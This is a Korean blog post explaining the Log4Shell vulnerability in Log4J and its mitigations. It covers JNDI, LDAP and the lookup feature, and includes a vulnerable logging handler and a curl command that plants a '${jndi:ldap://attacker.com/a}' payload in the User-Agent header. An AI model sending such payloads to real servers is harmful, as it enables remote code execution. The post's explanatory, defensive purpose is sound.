-
log4j 이슈 살펴보기개발/기술 2021. 12. 13. 23:42
12월 09일 부터 오늘까지(12월 13일) Log4J라는 라이브러리가 전세계 개발자 커뮤니티를 떠들석하게 만들었다. Log4J는 자바 서버 프로그래밍을 해본 사람이라면 디버깅 용도로 한 번쯤 사용하는 라이브러리인데 특정 버전에서 이 라이브러리를 사용하면 원격에서 자바 프로그램을 실행 할 수 있는 심각한 결함이 있었다. 로그만 찍어주는 별 것 아닌 라이브러리가 어쩌다 이런 취약점이 생겼고 얼마나 문제가 심각한 것인지 이번 포스트를 통해서 정리해보려고 한다.
JNDI
취약점이 발생한 원리를 다루기 전에 먼저 JNDI 라이브러리에 대해서 알아보자. JNDI 는 Java Naming and Directory Interface의 약자로 클라이언트가 서버상의 데이터나 객체를 lookup 할 수 있는 Java API다. 찾고자 하는 객체에 접근 할 수 있는 단일의 인터페이스를 제공하며 이 API를 이용해서 객체를 lookup, querying 그리고 binding 할 수 있다. 예로 아래와 같은 소스코드가 실행이 가능하다
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/datasource"); assertNotNull(ds.getConnection());
JNDI를 이용해 객체를 Looking up 해본 사례다. 위 코드를 이용해 서버 로컬에 있는 DataSource 객체에 대한 접근이 가능하다. 근데 대부분 이 라이브러리를 거의 써본적이 없었을 것이다. 요즘에 주로 쓰이는 Spring Boot 같은 자바 애플리케이션에서는 거의 쓰이지 않는 추세고 원격에서 Java 애플리케이션 데이터베이스 설정을 바꾸려고 하는 경우 JNDI를 사용한다고 한다. JNDI는 LDAP, DNS, NIS, RMI 등의 프로토콜을 이용해서 JNDI 콜을 호출하는 것을 지원한다.
LDAP
이번에 문제가 된 프로토콜은 LDAP 였다. LDAP는 분산 디렉터리 서비스에 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜이다. 자세하게 설명하긴 어렵고 간단하게 JNDI를 외부에서 부를 수 있는 프로토콜인 정도로만 기억하자
Log4J 에서 JNDI 호출
이상하게도 특정 버전의 Log4J에서 JNDI를 포함한 쿼리를 호출하는 경우 내부적으로 객체를 lookup 하는 기능이 있었다. 왜 이런 기능을 넣었는지 전혀 이해가 되지 않지만... 특정 버전에서 Log4J 함수로 특정한 쿼리를 실행하면 JNDI를 실행한다. 그래서 단순한 로그만 출력해도 아래 그림처럼 시스템 내부의 특정 프로그램을 실행할 수 있게 된다. 아래 그림은 Log4J를 실행해서 원격 서버의 프로그램이 실행된 예다.
그래도 출력하는 로그가 하드 코딩돼서 실행중에 바뀌지 않는다면 문제는 없다. 직접 로그 안에 JNDI를 심어두는 일은 거의 없을 거니까. 그런데 서버 프로그래밍을 하다 보면 사용자가 갖고 있는 정보나 URL의 파라미터를 출력하게 되는 경우도 종종 생긴다. 만약 해커가 로그를 출력하는 부분을 파악해 해당 api에 의도적으로 JNDI LDAP 정보를 심어 넣는다면 외부에서 코드를 실행할 수 있게 된다. 설마 이런일이 발생 할까 싶지만 의외로 빈번하다. 아래 코드를 보자
public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { String userAgent = he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:{}", userAgent); ... } }
위의 코드를 보면 사용자의 user-agent 정보를 log.info 로 출력한다. 디버깅 용도로 이런 로그 한번 쯤은 찍어두게 했을 것이다. 그런데 만약 해커가 User-Agent를 이렇게 바꿨다고 해보자
curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://attacker.com/a}'
그러면 User-Agent를 출력하는 코드가 영락 없이 JNDI를 호출하는 코드가 실행되고 해커의 서버에선(attacker.com) 우리의 서버와 JNDI를 통해서 내부 라이브러리를 실행할 수 있게 된다. 복잡할 것도 없고 그냥 로그를 출력하려고만 한 코드가 심각한 보안 결함의 원인이 됐다.
대책
특정 버전에서 문제가 되는 것이기 때문에 Log4J를 최신 버전으로 업데이트 하면 문제는 없다. 그런데 이런 저런 이유로 업데이트 할 수 없다면 골치가 아프다. 그래도 방법은 여러가지가 있는데 직접 JNDI Lookup 클래스를 경로에서 제거하거나, 외부 정보를 출력하는 로그를 모두 없애거나(좋은 방법은 아니지만) 컨피그 파일에서 logging 패턴에 {nolookups} 문자열을 추가하는 방법이 있다. 그런데 가장 좋은 것은 업데이트 인 것 같다...
확실한 것은 아니고 어디서 본 건데 이 버그가 8년동안이나 묵혀있었다고 한다... 그동안 얼마나 많이 털리고 있었을지 상상이 안된다.
참고 자료
JNDI 설명: https://www.baeldung.com/jndi
JNDI 사용 예시: https://hamait.tistory.com/331
취약점 소스코드: https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-09-log4j-zero-day.md
취약점 설명: https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
'개발 > 기술' 카테고리의 다른 글
cypher (0) 2022.02.14 Graph Database - neo4j (0) 2022.01.24 AOT(Ahead Of Time) Compiler (0) 2021.11.26 JIT(Just In Time) Compilation (0) 2021.11.26 명령형 UI vs 선언형 UI (0) 2021.11.26